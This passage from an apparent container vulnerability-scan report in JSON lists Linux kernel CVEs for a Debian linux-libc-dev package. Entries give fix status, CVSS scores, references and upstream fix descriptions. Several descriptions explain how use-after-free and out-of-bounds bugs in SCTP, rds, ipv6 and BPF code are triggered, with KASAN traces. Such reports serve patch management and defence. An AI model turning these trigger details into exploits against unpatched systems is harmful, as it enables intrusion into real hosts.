ID-zero entries as transient in bpf_link_get_curr_or_next(), just as\nbpf_link_by_id() does.\n\n BUG: KASAN: slab-use-after-free in bpf_link_put\n Write of size 8 by task exp/384\n Call Trace:\n bpf_link_put kernel/bpf/syscall.c:3372\n bpf_link_seq_next kernel/bpf/link_iter.c:33\n bpf_seq_read kernel/bpf/bpf_iter.c:158\n vfs_read fs/read_write.c:572\n ksys_read fs/read_write.c:716\n do_syscall_64 arch/x86/entry/syscall_64.c:84\n entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:121\n Kernel panic - not syncing: KASAN: panic_on_warn set ...", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98378", "https://access.redhat.com/security/cve/CVE-2026-98378", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98378.mbox", "https://git.kernel.org/stable/c/50e80e2bb5e2be8515205b9c496b9640ddefa434", "https://git.kernel.org/stable/c/68930f8d40ab4c10ca3b019f076136758fd100a8", "https://git.kernel.org/stable/c/6e271f093d15d323f42de26f66556af53fa8e19f", "https://git.kernel.org/stable/c/798a61edbc436cacdb659927d067368eeb1e30e2", "https://git.kernel.org/stable/c/87ce4b53b7436b50fc984f0a6afaf77f68ac5573", "https://git.kernel.org/stable/c/c251ed48bd9063cf7de6049421e78b6de989060f", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ihjtadh7qgey.toml", "https://linux.oracle.com/cve/CVE-2026-98378.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98378", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98378" ], "PublishedDate": "2026-10-09T08:16:56.123Z", "LastModifiedDate": "2026-10-24T14:16:39.873Z" }, { "VulnerabilityID": "CVE-2026-98417", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98417", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:99d13c3965f26d8679992244cb9d1cc407338e2a0b46a1aaa76398553fbe168f", "Title": "kernel: net: xfrm: reject unrepresentable espintcp transport headers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: xfrm: reject unrepresentable espintcp transport headers\n\nESP-in-TCP can hand xfrm packets whose transport header offset no longer\nfits after the stream parser trims the TCP envelope. The plain transport\nheader reset truncates that offset and triggers the skb warning path.\n\nUse the careful transport-header helper and drop the skb through the\nexisting XFRM error path when the offset cannot be represented.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98417", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98417.mbox", "https://git.kernel.org/stable/c/206f396f46149dc8bc4dfd2b54b9879ba3ee1d7d", "https://git.kernel.org/stable/c/327b2a457dd7d5445f7395f371f3c65de79bd5ce", "https://git.kernel.org/stable/c/4a8243fd2e21980fa3fd10c0610e9155057cebd3", "https://git.kernel.org/stable/c/6c29681207bc213188afa603dff2d55e7178a341", "https://git.kernel.org/stable/c/96f01b53c2d05e003b040892256de54a586e8529", "https://git.kernel.org/stable/c/b2b84e73e0386ad0b4f9b8d3afde343e761f5275", "https://git.kernel.org/stable/c/cce630c751279e974fa0bb574d80575e0cc7e8f3", "https://git.kernel.org/stable/c/d37a5b87577c4b4c1a1dcb000a9dff1df2cf886b", "https://nvd.nist.gov/vuln/detail/CVE-2026-98417", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98417" ], "PublishedDate": "2026-10-14T14:17:53.04Z", "LastModifiedDate": "2026-10-19T10:18:47.1Z" }, { "VulnerabilityID": "CVE-2026-98466", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98466", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:938a661389b419a8b345befdc0ea95a64b5be312f4bfdac85c13887e57e08410", "Title": "kernel: KVM: arm64: Transfer the hyp stack pages out of the host stage-2", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Transfer the hyp stack pages out of the host stage-2\n\nfix_host_ownership() walks only the linear-map alias of each memblock\nregion, and the per-CPU hyp stack, mapped in the private VA range for\nits guard page, has none.\n\nWalk each stack's VA range with the same walker.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98466", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98466.mbox", "https://git.kernel.org/stable/c/22df195bff84300a3f04813d6148765c77ac565a", "https://git.kernel.org/stable/c/3a8c562892b96f35bba1e00d5e455a15963bbb92", "https://git.kernel.org/stable/c/e5dd2a91a7ae3a276e6d79806127e923936e241b", "https://linux.oracle.com/cve/CVE-2026-98466.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98466", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98466" ], "PublishedDate": "2026-10-18T16:16:57.09Z", "LastModifiedDate": "2026-10-24T14:16:43.193Z" }, { "VulnerabilityID": "CVE-2026-98490", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98490", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0cab20f3a45a8b3946367006f2a007b6bc4d6be5abc78abbcd6120c699cbfaaa", "Title": "kernel: net: openvswitch: conntrack: fix helper UAF due to extensions realloc", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: conntrack: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n -\u003e nf_ct_helper()\n -\u003e helper-\u003ehelp()\n -\u003e nf_ct_expect_related_report()\n -\u003e nf_ct_expect_insert()\n -\u003e hlist_add_head_rcu(\u0026exp-\u003elnode, \u0026master_help-\u003eexpectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure. And\nthere are no atomicity guarantees provided by the API anyway.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98490", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98490.mbox", "https://git.kernel.org/stable/c/18866dc1f525f9ee4de7709529d1ae1af8d8e8be", "https://git.kernel.org/stable/c/1a4151e6be57b098b7a5ebfbde58585e83200cdc", "https://git.kernel.org/stable/c/5f23080a625dd7855ab91485c8d691a54a1979f0", "https://git.kernel.org/stable/c/84d47a83b7b717576de0defab46b8823a22853b0", "https://git.kernel.org/stable/c/9f308197395c1a524b736e401cbc8a2ed7d246c9", "https://git.kernel.org/stable/c/afcf362625190c5260530b1d6c7daa98831f6b83", "https://git.kernel.org/stable/c/e02a83bb0b7a203f6a22f55ad5f426765560f811", "https://git.kernel.org/stable/c/f53d13a286fb275bda0efdf445b8a1e4dfcb717b", "https://linux.oracle.com/cve/CVE-2026-98490.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98490", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98490" ], "PublishedDate": "2026-10-18T16:16:59.903Z", "LastModifiedDate": "2026-10-30T13:21:14.923Z" }, { "VulnerabilityID": "CVE-2026-98524", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98524", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:efc861d566a3aeaa3e8af0a959d6de6313c037a8766fcdb302f930755d1afb67", "Title": "kernel: rds: ib: Clear the sg list when mapping an MR fails", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrds: ib: Clear the sg list when mapping an MR fails\n\nrds_ib_map_frmr() stores the caller's scatterlist in the MR before DMA\nmapping and registration can fail. On failure, __rds_rdma_map() unpins\nthe pages and frees the scatterlist, but rds_ib_free_frmr() can still\nreturn the MR to the pool with the stale pointer set.\n\nThis leaves the pool with a dangling scatterlist and can lead to local\nprivilege escalation. KASAN detects the resulting use-after-free when the\nMR is later torn down:\n\nBUG: KASAN: slab-use-after-free in __rds_ib_teardown_mr\nRead of size 8\n\nCall Trace:\n __rds_ib_teardown_mr\n rds_ib_unreg_frmr\n rds_ib_flush_mr_pool\n rds_ib_flush_mrs\n rds_free_mr\n rds_setsockopt\n\nStore the scatterlist in the MR only after DMA mapping succeeds. If DMA\nmapping fails, return directly while the MR fields remain clear; the caller\nkeeps ownership of the scatterlist and its pinned pages. If a later\nregistration step fails, unmap the scatterlist and clear the MR fields\nbefore returning.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98524", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98524.mbox", "https://git.kernel.org/stable/c/1be3211e6ac77adbb1eac01314d989d243b32c59", "https://git.kernel.org/stable/c/4468df5bcdef959fd96494e9968f323561a45f4c", "https://git.kernel.org/stable/c/49ba5ed0129906e0362c2e4b5e21c89b2a41e115", "https://git.kernel.org/stable/c/58eb1b3325edac42dc6df72c80962bd53a3c8ca7", "https://git.kernel.org/stable/c/8dca3c81344532a7f05edb3d12f31f3009410a90", "https://git.kernel.org/stable/c/b36d32f30c3f1e58e3a5ae79d0f52836a316b36e", "https://git.kernel.org/stable/c/c42d316163f89cd23de2f3e24558177a8c29bad8", "https://git.kernel.org/stable/c/e2ee0616260080376123997488b5cf8a3870b8d9", "https://nvd.nist.gov/vuln/detail/CVE-2026-98524", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98524" ], "PublishedDate": "2026-10-18T16:17:03.827Z", "LastModifiedDate": "2026-10-24T14:16:46.107Z" }, { "VulnerabilityID": "CVE-2026-98532", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98532", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f806b9dfee97f8749eb7b2f6999cbe9879089b11a359009fec4d3c33f75f43dd", "Title": "kernel: ipv6: do not let ipv6_find_hdr() return an offset past the packet end", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: do not let ipv6_find_hdr() return an offset past the packet end\n\nipv6_find_hdr() walks the extension header chain, skipping each header by\nthe length that header itself declares. ipv6_optlen() returns up to 2048,\nand the skip is never checked against skb-\u003elen, so the offset stored in\n*offset can point past the end of the packet.\n\nopenvswitch installs that offset as the transport header, and\nupdate_ipv6_checksum() then reads and writes the transport checksum field\nout of bounds:\n\n BUG: KASAN: slab-use-after-free in inet_proto_csum_replace16+0x445/0x470\n Read of size 2 at addr ffff88810b754b06 by task ovs_ipv6_oob/629\n CPU: 4 UID: 1000 PID: 629 Comm: ovs_ipv6_oob Tainted: G N 7.3.0-rc3+ #348\n Call Trace:\n inet_proto_csum_replace16+0x445/0x470\n set_ipv6_addr+0x3dd/0x460\n do_execute_actions+0x6a3d/0x7c40\n ovs_execute_actions+0xfd/0x480\n ovs_packet_cmd_execute+0xc38/0xf20\n genl_rcv_msg+0x59e/0x870\n netlink_rcv_skb+0x18b/0x450\n genl_rcv+0x2d/0x40\n netlink_unicast+0x6bc/0xa20\n\n The buggy address belongs to the object at ffff88810b754980\n which belongs to the cache skbuff_small_head of size 704\n The buggy address is located 390 bytes inside of\n freed 704-byte region [ffff88810b754980, ffff88810b754c40)\n\nOther callers use that offset too, so bound it here rather than in one\ncaller.\n\nReject a header whose declared length does not fit in the packet.\nipv6_find_hdr() already fails with -EBADMSG on a malformed chain, so this\nadds no new failure mode.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98532", "https://access.redhat.com/security/cve/CVE-2026-98532", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98532.mbox", "https://git.kernel.org/stable/c/1c70275ca87e769e1a52abc644d61372d8c016cb", "https://git.kernel.org/stable/c/1d42828565889632068fbc2983c34d57c66af4e0", "https://git.kernel.org/stable/c/4254d5878c320c19961dd0b8e1d0aca4800d8b7d", "https://git.kernel.org/stable/c/531255de8971c06d5d5986f85fdc2525d707ba71", "https://git.kernel.org/stable/c/543354c6efb27eae3372a3a9674aeaa2a86e2b2c", "https://git.kernel.org/stable/c/ca96b38730e31357ef4a9d76af1336958ac670d7", "https://git.kernel.org/stable/c/dc92cb972e86790b8078337ec41015b748b8f8e5", "https://git.kernel.org/stable/c/ee319bd3a0e976af5087cbe59ebc50a66f31d202", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-iwhrubmnqu6p.toml", "https://linux.oracle.com/cve/CVE-2026-98532.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98532", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98532" ], "PublishedDate": "2026-10-18T16:17:04.79Z", "LastModifiedDate": "2026-10-24T14:16:46.34Z" }, { "VulnerabilityID": "CVE-2026-98548", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98548", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:76803862d4258d98541859134d20822f5ae61f5036146734b0618ff913f931a0", "Title": "kernel: sctp: discard the rest of the packet on a stale-cookie error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: discard the rest of the packet on a stale-cookie error\n\nWhen an association is in COOKIE-ECHOED state and the peer sends a\nbundled [ERROR(Stale Cookie)][DATA] packet from one of its non-primary\naddresses, processing the ERROR chunk takes the non-fatal stale-cookie\nretry path sctp_sf_do_5_2_6_stale(), which queues\nSCTP_CMD_DEL_NON_PRIMARY while keeping the association alive.\nsctp_cmd_del_non_primary() removes every non-primary transport -\nincluding the very transport this packet arrived on, which is still\nreferenced by the receive lookup and shared by all chunks of the\npacket via chunk-\u003etransport.\n\nsctp_assoc_rm_peer() does redirect asoc-\u003epeer.last_data_from away from\nthe removed transport, but right afterwards the bundled DATA chunk\nmakes sctp_assoc_bh_rcv() re-register\nasoc-\u003epeer.last_data_from = chunk-\u003etransport unconditionally, undoing\nthe redirection with the just-removed transport.\n\nOnce the packet is done, the receive reference is dropped and the\ntransport is RCU-freed, while the surviving association keeps the\ndangling last_data_from. A later FWD-TSN (or the delayed SACK timer)\nmakes sctp_gen_sack() dereference it (-\u003eparam_flags and friends), and\nsctp_make_sack()/sctp_outq_select_transport() may write to the freed\nobject and link it into the live transport list. This is a\nuse-after-free triggerable by any malicious SCTP peer (or a local\nunprivileged user acting as one) with no capabilities required:\n\n BUG: KASAN: slab-use-after-free in sctp_do_sm+0x498a/0x5660\n Read of size 4 at addr ffff88800e1e356c by task poc/115\n Call Trace: sctp_do_sm \u003c- sctp_assoc_bh_rcv \u003c- sctp_inq_push \u003c-\n sctp_rcv \u003c- ip_protocol_deliver_rcu \u003c- ip_rcv\n Allocated: sctp_transport_new \u003c- sctp_assoc_add_peer \u003c-\n sctp_process_init (INIT-ACK processing)\n Freed: kfree \u003c- sctp_transport_destroy_rcu \u003c- rcu_core\n (call_rcu queued by sctp_transport_put at end of sctp_rcv)\n The buggy address is located 364 bytes inside of freed 1024-byte\n region [ffff88800e1e3400, ffff88800e1e3800), cache kmalloc-1k\n\nNote that commit 03a9d10ecf71 (\"sctp: drop a chunk if its transport\nwas removed\") only covers the window between the receive lookup and\nthe chunk processing (e.g. an ASCONF DEL-IP racing the socket backlog);\nhere the transport is removed *while* the packet is being processed,\nby an earlier chunk of the same packet, so the drop in sctp_inq_push()\ndoes not reach this path. Verified with the bundled [ERROR(Stale\nCookie)][DATA] + FWD-TSN reproducer: the KASAN report above still\nfires with that commit applied, and is gone with this patch on top.\n\nFix it by discarding the rest of the packet on this path, as suggested\nby Xin. After the stale-cookie ERROR has sent the association back to\nCOOKIE-WAIT and removed the non-primary transports, the remaining\nchunks of the packet can only run against the restarted handshake\nwhile referencing the removed arrival transport through\nchunk-\u003etransport: besides the last_data_from registration above,\nsctp_cmd_setup_t2() and the sctp_make_*() reply builders would also\ncopy that pointer into association-lifetime state that\nsctp_assoc_rm_peer() has already sanitized. Let the peer retransmit\nthem, in line with what sctp_inq_push() does for chunks whose\ntransport was removed before processing.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98548", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98548.mbox", "https://git.kernel.org/stable/c/1cd246b214dc9acf4e2f11d58c035e1e672fe7d2", "https://git.kernel.org/stable/c/4498467a8af06cfa3d71cb04bd7c4170dec8f449", "https://git.kernel.org/stable/c/6df536c5acbc0abd6f119d02e24f4a2ed97707f4", "https://git.kernel.org/stable/c/854c053c71459f8db7ef07db9cfa4eec5f5206f2", "https://git.kernel.org/stable/c/965e21ea16acb394d5e5801998ca9b0adc669665", "https://git.kernel.org/stable/c/c0af3fd150fdc43821df3bb77e5ec74faf4dfc7a", "https://git.kernel.org/stable/c/d68c9287b3ca0d6faadc61fbcb18d1a6b5493321", "https://git.kernel.org/stable/c/ec23855274a73906b02f0d124fefd9cb3c008b1d", "https://linux.oracle.com/cve/CVE-2026-98548.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98548", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98548" ], "PublishedDate": "2026-10-18T16:17:06.767Z", "LastModifiedDate": "2026-10-24T14:16:46.943Z" }, { "VulnerabilityID": "CVE-2026-98549", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98549", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7655522739cc55f2e77888c632c95fc6447cabb41be06cb342669ed2991a0d05", "Title": "kernel: tcp: prevent collapsing skbs across boundary in rtx queue", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: prevent collapsing skbs across boundary in rtx queue\n\ntcp_write_collapse_fence() sets TCP_SKB_CB(skb)-\u003eeor = 1 on\ntcp_write_queue_tail(sk) to prevent skbs queued after a switch to\ndevice encryption from being collapsed into earlier skbs.\n\nThe fence is a no-op if all earlier data has already been transmitted\nwhen the switch happens: sk-\u003esk_write_queue is empty. The not yet\nacknowledged earlier skbs wait in sk-\u003etcp_rtx_queue with eor 0.\n\nOn a subsequent retransmit or SACK shift, tcp_retrans_try_collapse() or\ntcp_shift_skb_data() can then merge an skb queued after the switch into\none queued before it.\n\nBoth users of the fence are affected:\n\n- psp: devices only encrypt skbs with skb-\u003edecrypted set. The merged skb\n keeps decrypted = 0 from the earlier skb, so merged data sent after\n psp_sock_assoc_set_tx() is retransmitted in cleartext.\n\n- tls device offload: the merged skb straddles the start marker set in\n tls_set_device_offload(). The software fallback (fill_sg_in() returns\n -EINVAL) and the mlx5, nfp and funeth drivers cannot handle such an\n skb and drop it. Every retransmit rebuilds the same skb, so the\n connection stalls.\n\nFix this in two places, for defense in depth:\n\n1. Fall back to tcp_rtx_queue_tail(sk) in tcp_write_collapse_fence()\n when tcp_write_queue_tail(sk) is NULL.\n\n2. Check !skb_cmp_decrypted(to, from) in tcp_skb_can_collapse(), as\n tcp_skb_can_collapse_rx() does on receive. skb_shift(), which both\n collapse paths call, already has a DEBUG_NET_WARN_ON_ONCE() for this\n condition.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98549", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98549.mbox", "https://git.kernel.org/stable/c/08e835f5ec6e261c79d8c39f8618b3af29e3b0da", "https://git.kernel.org/stable/c/1ae7aee395245874d797890380d9192bd858fb7e", "https://git.kernel.org/stable/c/533344a00ad968181e60d0980c076a9d0de57482", "https://git.kernel.org/stable/c/7061aafc680e14e22b191f178b768886475f8524", "https://git.kernel.org/stable/c/7ba87509c54cd519e7ed362e0c85e8431f066a18", "https://git.kernel.org/stable/c/9e2a2f98e8c0197108c6d97a1fa43bfd89071c30", "https://git.kernel.org/stable/c/bf785a303e5faad16439c563826a07cb811856c8", "https://git.kernel.org/stable/c/fc6d80eb504458d6416b75a94188b268c95c6533", "https://linux.oracle.com/cve/CVE-2026-98549.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98549", 